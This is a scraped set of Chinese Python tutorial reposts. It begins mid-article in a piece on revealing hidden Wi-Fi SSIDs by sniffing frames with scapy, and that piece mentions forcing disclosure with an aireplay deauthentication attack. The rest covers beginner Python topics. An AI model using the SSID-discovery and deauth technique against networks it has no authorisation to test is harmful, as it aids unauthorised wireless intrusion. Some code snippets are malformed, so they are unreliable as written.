但是需要注意的是,在我实际测试的过程中,即便是不进行攻击操作也是可以获取到SSID的,所以如果不是长时间无法获取SSID,一般我们不用这个。

0×06 抓取过滤

接下来就是抓包时间,同时对抓到的包进行过滤处理,主要代码如下:

if pkt.haslayer(Dot11):
	if pkt.addr2 == addr:
		try:
			#print pkt.info#该行为调试行
			if binascii.hexlify(pkt.info)[:2] != '00':
			if pkt.addr2 not in aps2:
				aps2.append(pkt.addr2)
				cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
				print '隐藏无线热点名称是:'+pkt.info+'\n'
				if re.search("privacy", cap):
					print pkt.info+'已加密'
				else:
					print pkt.info+'未加密'
				print '正在关闭监听模式……\n'
				time.sleep(1)
				t = os.popen('airmon-ng stop mon0')
				t.read()
				t.close
		except:
		pass

这里对代码进行简单的操作说明:

1、这里我做了容错处理,因为在实际使用过程中会出现稍长时间的sniff会直接报错退出,原因大概是部分包并不存在pkt.info属性导致
2、这里使用aps2[]数组进行了简单的输出限制,防止同一个BSSID多次重复被记录
3、cap参数格式化存储了无线的加密部分的信息,以便于下文的加密判断
4、完成任务后自动关闭监听模式。这里没有进行枚举,如果你自行开启监听模式,端口为mon1,2,3……将无法关闭,注意一下

0×07 运行结果

工具介绍完了,然后我们运行一下,结果如下:

再附上一张使用了aireplay攻击后的图片:

0×08 写在最后

惯例总结一下,工具没什么难度,而且也不甚完善,如果有小伙伴有更好的解决方案欢迎在下面吐槽交流,欢迎各种不涉及人身攻击的各种喷

目前也在写其他的关于无线的小玩意儿,以后再跟大家分享。白白!

最后奉上源代码: https://github.com/linvex/DiscoverHiddenSSID

*作者:FreeBuf小编/xia0k,转载请来自FreeBuf黑客与极客(FreeBuf.COM)

原文:http://www.freebuf.com/articles/wireless/66118.html

Python: 初学python类

#coding:utf-8
#################
# 练习应用类
#################
class Test:
	def __init__(self, name):
		self.name = name
x = Test(1)
print x.name   # 这里尝试输出‘你好’————把第十行改成:x = Test(u'你好')
###################
class TestVarible:
	samething = 'Hello Word.' # 共享的变量
def __init__(self, name):
		self.name = name	# 每个实例独一无二的变量
one = TestVarible('one')
two = TestVarible('two')
print 'one:',one.name, ';Same thing:', one.samething
print 'two:',two.name, ';Same thing:', two.samething
###################
class TestError:
	tricks = []	#正确的应该是把这句移动__init__函数中或者add_tricks函数中
#   def __init__(self):
#
def add_tricks(self,stuff):
		self.tricks.append(stuff)
dog1 = TestError()
dog1.add_tricks('dog1')
dog2 = TestError()
dog2.add_tricks('dog2')
print dog1.tricks,'\n----------'
print dog2.tricks	# 输出之而后你会发现tricks是共享的列表,对象的数据变成共享的了
# 这里需要注意的是:类中属性名和方法名要区别开否则会出现很难发现的错误
# 再次声明命名约定可以避免很多麻烦。
####################

原文:http://www.cnblogs.com/xueweihan/p/4526716.html

Python: redhat 6 / centos 6 搭建Django环境

1)
首先 安装的时候  到 选择安装那些包的时候 把 编译环境和开发的包
那块全部打上勾   

2)
系统虽然自带Python安装包,但是版本比较低。所以推荐自行进行tar包编译安装比较新的  https://www.python.org/
从Python官网下载

Python安装包编译过程

1 tar zxvf  Python包名
2
3 cd 解压出来的目录
4
5 ./configure
6
7 make
8
9 make install 


3)
Django包上官网下载  https://www.djangoproject.com/download/

Django安装过程

1 tar zxvf Django包名
2
3 cd 解压出来的目录里
4
5 Python setup.py install

如果报 no module named setuptools
的错误就看 第4步


4)
setuptools下载地址  http://pypi.python.org/packages/source/s/setuptools/setuptools-0.6c11.tar.gz

1 tar zxvf setuptools-0.6c11.tar.gz
2
3 cd setuptools-0.6c11
4
5 python setup.py build
6
7 python setup.py install

检验Django是否安装成功

终端上输入 python
,点击 Enter,进行 python
环境

1 >>> import django
2
3 >>> django.VERSION
4 (1, 7, 6, 'final', 0)
5 >>>
6 >>> django.get_version()
7 '1.7.6'

原文:http://www.cnblogs.com/wspblog/p/4526460.html

Python: 使用Java调用Python服务器RPC

#先上一个整体的Python代码,它可以作为Python建立RPC服务器或客户端的通用库

#test_rpc.py
#coding=utf-8
from SimpleXMLRPCServer import SimpleXMLRPCServer
from SocketServer import ThreadingMixIn
from xmlrpclib import ServerProxy
import thread
class ThreadXMLRPCServer(ThreadingMixIn, SimpleXMLRPCServer):
	pass
class RPCServer():
	def __init__(self, ip='127.0.0.1', port='8000'):
		self.ip = ip
		self.port = int(port)
		self.svr = None
	def start(self, func_lst):
		thread.start_new_thread(self.service, (func_lst, 0,))
	def resume_service(self, v1, v2):
		self.svr.serve_forever(poll_interval=0.001)
	def service(self, func_lst, v1):
		self.svr = ThreadXMLRPCServer((self.ip, self.port), allow_none=True)
		for func in func_lst:
			self.svr.register_function(func)
		self.svr.serve_forever(poll_interval=0.001)
	def activate(self):
		thread.start_new_thread(self.resume_service, (0, 0,))
	def shutdown(self):
		try:
			self.svr.shutdown()
		except Exception, e:
			print 'rpc_server shutdown:', str(e)
class RPCClient():
	def __init__(self, ip='127.0.0.1', port='8000'):
		self.svr = ServerProxy('http://'+ip+':'+port+'/', allow_none=True, use_datetime=True)
	def get_svr(self):
		return self.svr
def get_hello():
	return 'hello!'
if __name__ == "__main__":
	r = RPCServer('0.0.0.0', '8061')
	r.service([get_hello], 0) #这里仅仅载入get_hello函数

#启动test_rpc.py待用 >

python test_rpc.py

#下面开始Java,首先下载jar包 ,在
https://archive.apache.org/dist/ws/xmlrpc/binaries/
找到 apache-xmlrpc-3.1.3-bin.tar.gz 。


# apache-xmlrpc-3.1.3-bin.tar.gz包的
API文档  http://ws.apache.org/xmlrpc/apidocs/index.html

#如果使用Eclipse,通过 “右键项目根目录->properties->Java Build Path->Libraries->add External JARs" 导入jar包

commons-logging-1.1.jar

xmlrpc-client-3.1.3.jar

xmlrpc-server-3.1.3.jar

ws-commons-util-1.0.2.jar

xmlrpc-common-3.1.3.jar

import java.net.URL;
import java.net.MalformedURLException;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;
import org.apache.xmlrpc.client.XmlRpcHttpTransportException;
public class Test {
	public static void main(String[] args) throws MalformedURLException,
	XmlRpcHttpTransportException {
		XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
		config.setServerURL(new URL("http://127.0.0.1:8061/RPC2"));
		XmlRpcClient client = new XmlRpcClient();
		client.setConfig(config);
		// 根据不同的python函数形式,构造参数
		// 两个整形参数
		//Object[] params = new Object[] {new Integer(1), new Integer(2)};
		// 单个字符串参数
		//Object[] params = new Object[] {new String("HELLO")};
		// 无参数
		Object[] params = null;
		try {
			// 返回的结果是字符串类型,强制转换res为String类型
			String res = (String) client.execute("get_hello", params);
			System.out.println(res);
		} catch (XmlRpcException e11) {
			e11.printStackTrace();
		}
	}
}

参考:

http://blog.sina.com.cn/s/blog_6de3aa8a0101jmru.html

原文:http://my.oschina.net/crooner/blog/417011

Python: python模块介绍-webbrowser:方便的web浏览器控制器

目录

源码:Lib/webbrowser.py

简介

webbrowser模块提供了展示基于web文档的高层接口。多数情况下, 简单地调用open() 函数即可。

在Unix的X11下,首选调用图形浏览器。如果图形浏览器不可用或者没有显示终端,则使用文本模式浏览器 。如果使用文本模式浏览器, 在用户退出浏览器之前调用进程都会阻塞。

如果设置了BROWSER环境变量,它将覆盖平台默认的浏览器列表。 BROWSER是os.pathsep分割的的浏览器列表。如果列表的部分值包含字符串“%s”,解析为浏览器命令行的参数。

对于非Unix平台或unix使用远程浏览器时, 控制进程不会等待用户完成浏览, 但允许远程浏览器显示自己的窗口 。如没有远程浏览器, 控制进程将发起新的浏览器并等待。

webbrowser支持命令行接口。 它接受URL作为参数。可选参数:“-n”在新的浏览窗口打开URL;“-t”打开新的tab。

$ python -m webbrowser -t "http://automationtesting.sinaapp.com/blog/url"
andrew@andrew-Hi-Fi-A88S2:~$ [4860:4860:0520/095513:ERROR:url_pattern_set.cc(240)] Invalid url pattern: chrome://print/*
[4897:4897:0520/095513:ERROR:sandbox_linux.cc(343)] InitializeSandbox() called with multiple threads in process gpu-process
andrew@andrew-Hi-Fi-A88S2:~$
andrew@andrew-Hi-Fi-A88S2:~$ python -m webbrowser -t "http://automationtesting.sinaapp.com/blog/url"
andrew@andrew-Hi-Fi-A88S2:~$ 已在现有的浏览器会话中创建新的窗口。
andrew@andrew-Hi-Fi-A88S2:~$

快速入门

import webbrowser
webbrowser.open('http://automationtesting.sinaapp.com')
webbrowser.open_new_tab('http://automationtesting.sinaapp.com/blog/url')

上例会打开两个标签。

接口介绍

  • 异常:exception webbrowser.Error: 当浏览器控制错误时抛出该异常。

函数

  • webbrowser.open(url, new=0, autoraise=True)

使用默认的浏览器访问url。如果new等于0,则url会在尽量在已有浏览器窗口打开。如果new等于1, 则打开新的浏览器窗口。new等于2,尽量在浏览器打开新标签(tab)。如果autoraise为True,则浏览器窗口显示在最前面(注意在多数窗口管理器会这样)。

注意在某些平台上,打开文件名的时候 ,可能会启动系统的关联程序。另外一些系统默认用最节省资源的方式打开浏览器。

  • webbrowser.open_new(url)

使用默认的浏览器打开url,尽量只有一个窗口

  • webbrowser.open_new_tab(url)

使用默认的浏览器的新tab中打开url。

  • webbrowser.get([name])

返回制定浏览器控制器对象。如果name为空,则返回默认浏览器的控制器。

  • webbrowser.register(name, constructor, instance=None)

注册浏览器类型:name。注册后get() 函数可以返回该浏览器类型的控制器 。如果instance没有提供或者是None, 构造函数可以无参数调用并创建实例。如果有提供instance, 就不会调用构造函数。

This entry point is only useful if you plan to either set the BROWSER variable or call get() with a nonempty argument matching the name of a handler you declare.

仅仅在设置BROWSER变量或使用非空参数调用get()时有效。 你声明一个处理程序的名称相匹配的。

预定义的浏览器类型

浏览器控制器对象

  • controller.open(url, new=0, autoraise=True)
  • controller.open_new(url)
  • controller.open_new_tab(url)

请参考模块函数文档。

本文地址

原文:http://automationtesting.sinaapp.com/blog/m_webbrowser

Python: 深入Python数据结构

1. Python的内置类型

在Python中,每个值都有一种数据类型,但是在使用变量时,并不像C语言那样需要声明变量的数据类型。Python根据每个变量的初始赋值情况分析其类型,并在内部对其进行跟踪。所以没有像C语言中,只定义不初始化这种情况。下面是Python中比较重要的内置数据类型:

  1. 布尔型(Booleans):值为True或为False。
  2. 数值型(Numbers):可以是整数(1、2)、浮点数(3.14)、分数(2/3),甚至为复数(2+J)。
  3. 字符串型(Strings):是Unicode字符序列。
  4. 字节与字节数组(Bytes/Byte Arrays):比如一份JPEG图像文件。
  5. 列表(List):值的有序序列。
  6. 元组(Tuples):是有序而不可变的值序列。
  7. 集合(Sets):是装满 无序值的包裹。
  8. 字典(Dictonaries):键值对的无序包裹。

当然,Python中还有更多的类型。 在Python中一切均为对象
,因此存在像模块、函数、类、方法、文件甚至已编译的代码这样的类型。

2. 与类型相关的一些函数

type()函数用来检测任何值或变量的类型。

isinstance()函数判断某个值或变量是否为给定某个类型。

int()强制int类型转换,向零取整。

float()强制float类型转换。

>>> type(range(1,10))

>>> isinstance(3.14, float)
True

Python中只有一种整数类型,即int;也只有一种浮点数类型,即float。

3. 列表

Python中的列表类型,可以容纳任何对象,而且可以随时往其中添加新的元素,它不要求所有元素属于同一类型,而不事先定义大小。它总是有办法进行动态的拓展。

3.1 列表的创建

a_list = [1, 2, 'a', 'b', ['ronny', 26]] # 包含5个元素的列表
b_list = ['one'] # 只有一个元素的列表
e_list = [] # 一个空列表

3.2 列表的访问

>>> a_list[4]
['ronny', 26]
>>> a_list[-1]
['ronny', 26]   # a_list[-n] = a_list[len(a_list) - n]

3.3 列表的切片

自左向右读取列表,第一个切片索引指明了想要的第一个元素,第二个切片索引指明了第一个不想要的元素。返回值是两者之间的任何值。

>>> a_list
[1, 2, 'a', 'b', ['ronny', 26]]
>>> a_list[1:-1]
[2, 'a', 'b', ['ronny', 26]]
>>> a_list[:3] # 不包括a_list[3]
[1, 2, 'a']
>>> a_list[3:]
[ 'b', ['ronny', 26]]
>>> a_list[:] # a_list的一份拷贝
[1, 2, 'a', 'b', ['ronny', 26]] 

3.4 列表的操作

list.append(x):把一个元素添加到链表的结尾,相当于 a[len(a):] = [x]a = a + [x]

list.append(L):把一个给定的列表中的所有元素都添加到另一个列表中,相当于 a[len(a):] = La = a + L

list.insert(i,x):在指位置拷入一个元素。 a.insert(len(a),x)相当于 a.append(x)

list.remove(x):删除链表中值为x的第一个元素。如果没有这样的元素,就会返回一个错误。

del list[a:b]:删除列表中范围a与b之间的元素。

list.pop([i]):从链表的指定位置删除元素,并将其返回。如果没有指定索引, a.pop()删除并返回最后一个元素。 []表示参数可选。

list.index(x):返回链表中第一个值为x的元素的索引。如果没有匹配的元素就会返回一个错误。

list.cout(x):返回x在链表中出现的次数。可以用来判断x是否在list中出现,不过最直接的方法是 x in list

list.sort():对链表中的元素就地进行排序,前提是链表中的元素之间可以比较大小。

list.reverse():就地倒排链表中的元素。

也许大家会发现像 insertremove或者 sort这些修改列表的方法没有打印返回值–它们返回 None。在 python 中对所有可变的数据类型这是统一的设计原则。

4. 元组

元组是元素不可变的列表。一旦创建之后,用任何方法都不可以修改元素。

4.1 元组的创建

>>> a_tuple = (1, 2, 'a', 'b', ['ronny', 26]) # 创建一个包含5个元素的元组
>>> b_tuple = (1,) # 创建只含一个元素的元组,注意逗号不能省略
>>> # 创建空元组是没有任何意义的
>>> a_tuple[4].append(1989) # 修改元组中的列表,这是合法的。
>>> a_tuple
 (1, 2, 'a', 'b', ['ronny', 25,1989])

元组和列表的主要区别是元组不能进行修改。用技术术语来说,元组是 不可变更 的。从实践的角度来说,没有可用于修改元组的方法。列表有像 append()extend()insert()remove()pop()这样的方法。这些方法,元组都没有。可以对元组进行切片操作(因为该方法创建一个新的元组),可以检查元组是否包含了特定的值(因为该操作不修改元组),还可以……就那么多了。

4.2 元组的好处

  • 元组的速度比列表更快。如果定义了一系列常量值,而所需做的仅是对它进行遍历,那么请使用元组替代列表。
  • 对不需要改变的数据进行“写保护”将使得代码更加安全。使用元组替代列表就像是有一条隐含的 assert 语句显示该数据是常量,特别的想法(及特别的功能)必须重写。
  • 一些元组可用作字典键(特别是包含字符串、数值和其它元组这样的不可变数据的元组)。列表永远不能当做字典键使用,因为列表不是不可变的。

元组可转换成列表,反之亦然。内建的 tuple()函数接受一个列表参数,并返回一个包含同样元素的元组,而 list()函数接受一个元组参数并返回一个列表。从效果上看, tuple()冻结列表,而 list()融化元组。

5. 集合

集合set有独特值的无序“袋子”。一个简单的集合可以包含任何数据类型的值。如果有两个集合,则可以执行像联合、交集以及集合求差等标准集合运算。

5.1 集合的创建

>>> a_set = {1} # 创建只包含一个元素的集合
>>> b_set = {1, 2, 'a', 'b' ,['ronny', 25]} # 创建了一个包含5个元素的集合
>>> a_set = set(a_list) # 从一个列表创建集合
>>> a_set = set() # 一个空集合
>>> a_set
set() # 此处打印的可不是{},因为它表示的是一个空字典。
>>> a_set = {} # 创建了一个空字典,而不是空集合

5.2 集合的修改

>>> a_set = {0, 1, 2}
>>> a_set.add(3) # add方法往集合中添加一个任意类型的元素,如果这个元素在集合中已经存在,则什么都不做
>>> a_set.update({4,5},[6,7],(8,9)) # update方法可以接收若干个可转换为set的参数(iterable),并求并。
>>> a_set
{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
>>> a_set.discard(10) # discard()方法接受一个单值作为参数,从集合中删除,如果该值不存在,则只是一条空指令。
>>> a_set.remove(21) # remove()方法也接受一个单值作为参数,从集合中删除,但是如果该值不存在,则引发一个KeyError例外
Traceback (most recent call last):
  File "", line 1, in 
KeyError: 21
>>> a_set.pop() # 随机从集合中删除一个值,如果集合为空,则会引发一个KeyError异常。
2
>>> a_set.clear() # 将集合清空

5.3 集合之间的运算

因为set是无序的且最多不存在相同的元素,故在tuple和list上检索的操作count和index都不能用。

>>> a_set.union(b_set) # A并B
>>> a_set.intersection(b_set) # A交B
>>> a_set.difference(b_set) # A-B,在A中不在B中
>>> a_set.symmetric_difference(b_set) # 只在A中或只在B中
>>> a.issubset(b_set) # 判断a是否为b的子集 返回布尔型
>>> a.isuperset(b_set) # 判断a是否为b的超集

6. 字典

字典是键值对的无序集合。向字典添加一个键的同时,必须为该键增添一个值。(之后可随时修改该值)

>> a_dict = {'name':'ronny', 'age':18} # 创建一个字典
>>> a_dict['sex'] = 'male' # 添加新的键值对
>>> a_dict['age'] = 26 # 修改值
>>> len(a_dict)
3
>>> a_dict['newkey'] = [1,2,3,4] # 值为一个列表

字典并非只能用于字符串。字典的值可以是任何数据类型,包括整数、布尔值、任何对象,甚至是其它的字典。而且就算在同一字典中,所有的值也无须是同一类型,您可根据需要混合匹配。字典的键要严格得多,可以是字符串、整数和其它一些类型。在同一字典中也可混合、匹配使用不同数据类型的键。

7. 其他创建方法:解析

列表解析提供了一种紧凑的方式,实现了通过对列表中每个元素应用一个函数的方法将一个列表映射到另一个列表。

>>> a_list = [1, 9 ,8 ,4]
>>> [elem*2 for elem in a_list] # 创建一个新列表而不改变原列表
[2, 18, 16, 8]

可以在列表解析中使用任何Python表达式,包含os模块中用于操作文件和目录的函数。

>>> import os, glob
>>> [os.path.realpath(f) for f in glob.glob('*.xml')]

列表解析也可以过滤列表,生成比原列表短的结果列表

>>> import os, glob
>>> [f for f in glob.glob('*.py') if os.stat(f).st_size > 6000]

到目前为止的例子中的列表解析都只是用了一些简单的表达式, 乘以一个常数、调用一个函数或者是在过滤后返回原始元素。 然而列表解析并不限制表达式的复杂程度。

>>> import os, glob
>>> [os.stat(f).st_size, os.path.realpath(f) for f in glob.glob('*.xml')]
[(3074, 'c:\\Users\\pilgrim\\diveintopython3\\examples\\feed-broken.xml'),
(3386, 'c:\\Users\\pilgrim\\diveintopython3\\examples\\feed-ns0.xml'),
(3070, 'c:\\Users\\pilgrim\\diveintopython3\\examples\\feed.xml')]

字典解析与集合解析的技巧与上面序列解析类似。

原文:http://www.cnblogs.com/ronny/p/4514228.html

Python中函数的学习

函数是重用的程序段。它们允许你给一块语句一个名称,然后你可以在你的程序的任何地方使用这个名称任意多次地运行这个语句块。这被称为 调用 函数。我们已经使用了许多内建的函数,比如len和range。
函数通过def关键字定义。def关键字后跟一个函数的 标识符 名称,然后跟一对圆括号。圆括号之中可以包括一些变量名,该行以冒号结尾。接下来是一块语句,它们是函数体。
定义函数:

#!/usr/bin/python
# Filename: function1.py
def sayHello():
        print 'Hello World!' # block belonging to the function
sayHello() # call the function
 

这个函数不使用任何参数,因此在圆括号中没有声明任何变量。参数对于函数而言,只是给函数的输入,以便于我们可以传递不同的值给函数,然后得到相应的结果。
一、函数的形参
函数取得的参数是你提供给函数的值,这样函数就可以利用这些值 做 一些事情。这些参数就像变量一样,只不过它们的值是在我们调用函数的时候定义的,而非在函数本身内赋值。
参数在函数定义的圆括号对内指定,用逗号分割。当我们调用函数的时候,我们以同样的方式提供值。注意我们使用过的术语——函数中的参数名称为 形参 而你提供给函数调用的值称为 实参 。

#!/usr/bin/python
# Filename: func_param.py
def printMax(a,b):
        if a > b:
                print a,'is maximum'
        else:
                print b,'is maximum'
printMax(3,4) # directly give literal values
x = 5
y = 7
printMax(x,y) # give variables as arbuments
 
[root@gflinux102 code]# python func_param.py
4 is maximum
7 is maximum
 

这里,定义了一个称为printMax的函数,这个函数需要两个形参,叫做a和b。我们使用if..else语句找出两者之中较大的一个数,并且打印较大的那个数。
在第一个printMax使用中,我们直接把数,即实参,提供给函数。在第二个使用中,我们使用变量调用函数。printMax(x, y)使实参x的值赋给形参a,实参y的值赋给形参b。在两次调用中,printMax函数的工作完全相同。
二、局部变量与全局变量
2.1局部变量
当你在函数定义内声明变量的时候,它们与函数外具有相同名称的其他变量没有任何关系,即变量名称对于函数来说是 局部 的。这称为变量的 作用域 。所有变量的作用域是它们被定义的块,从它们的名称被定义的那点开始。
使用局部变量:

#!/usr/bin/python
# Filename: func_local.py
def func(x):
        print 'x is',x
        x = 2
        print 'Changed local x to',x
x = 50
func(x)
print 'x is still',x
 
[root@gflinux102 code]# python func_local.py
x is 50
Changed local x to 2
x is still 50
 

在函数中,我们第一次使用x的 值 的时候,Python使用函数声明的形参的值。
接下来,我们把值2赋给x。x是函数的局部变量。所以,当我们在函数内改变x的值的时候,在主块中定义的x不受影响。
在最后一个print语句中,我们证明了主块中的x的值确实没有受到影响。
2.2全局变量
可以使用定义在函数外的变量的值(假设在函数内没有同名的变量)。然而,并不鼓励你这样做,并且你应该尽量避免这样做,因为这使得程序的读者会不清楚这个变量是在哪里定义的。使用global语句可以清楚地表明变量是在外面的块定义的。
使用global语句:

#!/usr/bin/python
# Filename: func_global.py
def func():
        global x
        print 'x is',x
        x = 2
        print 'Changed local x to',x
x = 50
func()
print 'value of x is',x
[root@gflinux102 code]# python func_global.py
x is 50
Changed local x to 2
value of x is 2
 

global语句被用来声明x是全局的——因此,当我们在函数内把值赋给x的时候,这个变化也反映在我们在主块中使用x的值的时候。你可以使用同一个global语句指定多个全局变量。例如global x, y, z。
三、默认参数值
对于一些函数,你可能希望它的一些参数是可选的,如果用户不想要为这些参数提供值的话,这些参数就使用默认值。这个功能借助于默认参数值完成。你可以在函数定义的形参名后加上赋值运算符(=)和默认值,从而给形参指定默认参数值。
注意,默认参数值应该是一个参数。更加准确的说,默认参数值应该是不可变的——这会在后面的章节中做详细解释。从现在开始,请记住这一点。
使用默认参数值:

#!/usr/bin/python
# Filename: func_default.py
def say(message,times = 1):
        print message * times
say('Hello')
say('World',5)
 
[root@gflinux102 code]# python func_default.py
Hello
WorldWorldWorldWorldWorld
 

名为say的函数用来打印一个字符串任意所需的次数。如果我们不提供一个值,那么默认地,字符串将只被打印一遍。我们通过给形参times指定默认参数值1来实现这一功能。
在第一次使用say的时候,我们只提供一个字符串,函数只打印一次字符串。在第二次使用say的时候,我们提供了字符串和参数5,表明我们想要 说 这个字符串消息5遍。
只有在形参表末尾的那些参数可以有默认参数值,即你不能在声明函数形参的时候,先声明有默认值的形参而后声明没有默认值的形参。这是因为赋给形参的值是根据位置而赋值的。例如,def func(a, b=5)是有效的,但是def func(a=5, b)是 无效 的。
四、关键参数
如果你的某个函数有许多参数,而你只想指定其中的一部分,那么你可以通过命名来为这些参数赋值——这被称作 关键参数 ——我们使用名字(关键字)而不是位置(我们前面所一直使用的方法)来给函数指定实参。
这样做有两个 优势 ——一,由于我们不必担心参数的顺序,使用函数变得更加简单了。二、假设其他参数都有默认值,我们可以只给我们想要的那些参数赋值。
使用关键参数:

#!/usr/bin/python
# Filename: func_key.py
def func(a,b = 5,c = 10):
        print 'a is',a,'and b is',b,'and c is',c
func(3,7)
func(25,c=24)
func(c=50,a=100)
 
[root@gflinux102 code]# python func_key.py
a is 3 and b is 7 and c is 10
a is 25 and b is 5 and c is 24
a is 100 and b is 5 and c is 50
[root@gflinux102 code]#
 

名为func的函数有一个没有默认值的参数,和两个有默认值的参数。
在第一次使用函数的时候, func(3, 7),参数a得到值3,参数b得到值7,而参数c使用默认值10。
在第二次使用函数func(25, c=24)的时候,根据实参的位置变量a得到值25。根据命名,即关键参数,参数c得到值24。变量b根据默认值,为5。
在第三次使用func(c=50, a=100)的时候,我们使用关键参数来完全指定参数值。注意,尽管函数定义中,a在c之前定义,我们仍然可以在a之前指定参数c的值。

五、return语句

return语句用来从一个函数 返回 即跳出函数。我们也可选从函数 返回一个值 。
使用字面意义上的语句:

#!/usr/bin/python
# Filename: func_return.py
def maximum(x,y):
        if x > y:
                return x
        else:
                return y
print maximum(2,3)
 
[root@gflinux102 code]# python func_return.py
3
 

maximum函数返回参数中的最大值,在这里是提供给函数的数。它使用简单的if..else语句来找出较大的值,然后 返回 那个值。
注意,没有返回值的return语句等价于return None。None是Python中表示没有任何东西的特殊类型。例如,如果一个变量的值为None,可以表示它没有值。
除非你提供你自己的return语句,每个函数都在结尾暗含有return None语句。通过运行printsomeFunction(),你可以明白这一点,函数someFunction没有使用return语句,如同:
def someFunction(): pass
pass语句在Python中表示一个空的语句块。
六、DocStrings
Python有一个很奇妙的特性,称为 文档字符串 ,它通常被简称为 docstrings 。DocStrings是一个重要的工具,由于它帮助你的程序文档更加简单易懂,你应该尽量使用它。你甚至可以在程序运行的时候,从函数恢复文档字符串!
使用DocStrings:

#!/usr/bin/python
# Filename: func_doc.py
def printMax(x,y):
        ''' Prints the maximum of two numbers.
        the two values must be integers.'''
        x = int(x) # invert to integers,if possible
        y = int(y)
        if x > y:
                print x,'is maximum'
        else:
                print y,'is maximum'
printMax(3,5)
print printMax.__doc__
 
[root@gflinux102 code]# python func_doc.py
5 is maximum
 prints the maximum of two numbers.
the two values must be integers.
 

在函数的第一个逻辑行的字符串是这个函数的 文档字符串 。注意,DocStrings也适用于模块和类。
文档字符串的惯例是一个多行字符串,它的首行以大写字母开始,句号结尾。第二行是空行,从第三行开始是详细的描述。 强烈建议 你在你的函数中使用文档字符串时遵循这个惯例。
你可以使用__doc__(注意双下划线)调用printMax函数的文档字符串属性(属于函数的名称)。请记住Python把 每一样东西 都作为对象,包括这个函数。
如果你已经在Python中使用过help(),那么你已经看到过DocStings的使用了!它所做的只是抓取函数的__doc__属性,然后整洁地展示给你。你可以对上面这个函数尝试一下——只是在你的程序中包括help(printMax)。记住按q退出help。
自动化工具也可以以同样的方式从你的程序中提取文档。因此,我 强烈建议 你对你所写的任何正式函数编写文档字符串。随你的Python发行版附带的pydoc命令,与help()类似地使用DocStrings。

Python中的正斜杠与反斜杠

首先,”/”左倾斜是正斜杠,”\”右倾斜是反斜杠,可以记为:除号是正斜杠一般来说对于目录分隔符,Unix和Web用正斜杠/,Windows用反斜杠,但是现在Windows
(一)目录中的斜杠们
python读文件需要输入的目录参数,列出以下例子:

path = r"C:\Windows\temp\readme.txt"
path1 = r"c:\windows\temp\readme.txt"
path2 = "c:\\windows\\temp\\readme.txt"
path3 = "c:/windows/temp/readme.txt"
 

打开文件函数open()中的参数可以是path也可以是path1、path2、path3。
path:”\”为字符串中的特殊字符,加上r后变为原始字符串,则不会对字符串中的”\t”、”\r” 进行字符串转义
path1:大小写不影响windows定位到文件
path2:用一个”\”取消第二个”\”的特殊转义作用,即为”\\”
path3:用正斜杠做目录分隔符也可以转到对应目录,并且在python中path3的方式也省去了反斜杠\转义的烦恼
(二)正则表达式中的斜杠们
正则表达式匹配反斜杠”\”,为什么是”\\\\”或是 r”\\”呢?
因为在正则表达式中\为特殊符号,为了取消它在正则表达式中的特殊意义需要加一个\就变成了\\,但是问题又来了,\也是字符串中的特殊字符,所以又要分别对两个\取消其特殊意义,即为\\\\。Python中有一个原始字符串操作符,用于那些字符串中出现特殊字符,在原始字符串中,没有转义字符和不能打印的字符。这样就可以取消了\在字符串中的转义功能,即r”\\”。
来源:cnblogs

Python中的Tab补全用法

刚开始学习Python的时候,没有tab补全是一件很痛苦的事情。tab补全的代码如下:

# Python startupfile
Import sys
Import readline
Import rlcompleter
Import os
Readline.parse_and_bind(‘tab:complete’)
Histfile = os.path.join(os.environ[‘HOME’],’pythonhistory’)
 

将其移动到/usr/lib/python2.7/dist-packages/目录下,测试成功。
还有一个问题,在写tab.py时,保存的时候总会显示“E212:无法打开并写入文件”,后来想了一下,应该是权限不够呗,果断sudo vim tab.py,执行成功。
来源:51cto

Python中控制流语句用法学习

本文将会讲述在python语言中的一些控制语句,比如分支选择,循环语句等的用法。
1. if语句
if语句用来检验一个条件, 如果 条件为真,我们运行一块语句(称为 if-块 ), 否则 我们处理另外一块语句(称为 else-块 )。 else 从句是可选的。

#!/usr/bin/python
# Filename: if.py
number = 23
guess = int(raw_input('Enter an integer : '))
if guess == number :
        print 'Congratulations,you guessed it.' # New block starts here
        print '(but you do not win any prizes!)' #New block ends here
elif guess < number:
        print 'No,it is a little higher than that' #Another block
else:
        print 'No,it is a little lower than that'
print 'Done'
 &#91;/code&#93;
    内建的raw_input函数提供一个字符串,这个字符串被打印在屏幕上,然后等待用户的输入。一旦我们输入一些东西,然后按回车键之后,函数返回输入。对于raw_input函数来说是一个字符串。我们通过int把这个字符串转换为整数,并把它存储在变量guess中。事实上,int是一个类,不过你想在对它所需了解的只是它把一个字符串转换为一个整数(假设这个字符串含有一个有效的整数文本信息)。
注意if语句在结尾处包含一个冒号——我们通过它告诉Python下面跟着一个语句块。
    然后,我们检验猜测是否小于我们的数,如果是这样的,我们告诉用户它的猜测大了一点。我们在这里使用的是elif从句,它事实上把两个相关联的if else-if else语句合并为一个if-elif-else语句。这使得程序更加简单,并且减少了所需的缩进数量。
    elif和else从句都必须在逻辑行结尾处有一个冒号,下面跟着一个相应的语句块(当然还包括正确的缩进)。你也可以在一个if块中使用另外一个if语句,等等——这被称为嵌套的if语句。
    记住,elif和else部分是可选的。一个最简单的有效if语句是:
 &#91;code&#93;
   if True: print 'Yes, it is true'
 &#91;/code&#93;
    在Python执行完一个完整的if语句以及与它相关联的elif和else从句之后,它移向if语句块的下一个语句。在这个例子中,这个语句块是主块。程序从主块开始执行,而下一个语句是print 'Done'语句。在这之后,Python看到程序的结尾,简单的结束运行。
<strong>2. while语句</strong>
只要在一个条件为真的情况下,while语句允许你重复执行一块语句。while语句是所谓 循环 语句的一个例子。while语句有一个可选的else从句。

#!/usr/bin/python
# Filename: while.py
number = 23
running = True
while running:
        guess = int(raw_input('Enter an integer : '))
        if guess == number:
                print 'Congratulations,you guessed it.'
                running = False # this causes the while loop to stop
        elif guess < number:
                print 'No,it is a litter lower than that'
        else:
                print 'No,it is a litter higher than that '
else:
        print 'The while loop is over.'
print 'Done'
 &#91;/code&#93;
    在这个程序中,我们仍然使用了猜数游戏作为例子,但是这个例子的优势在于用户可以不断的猜数,直到他猜对为止——这样就不需要像前面那个例子那样为每次猜测重复执行一遍程序。这个例子恰当地说明了while语句的使用。
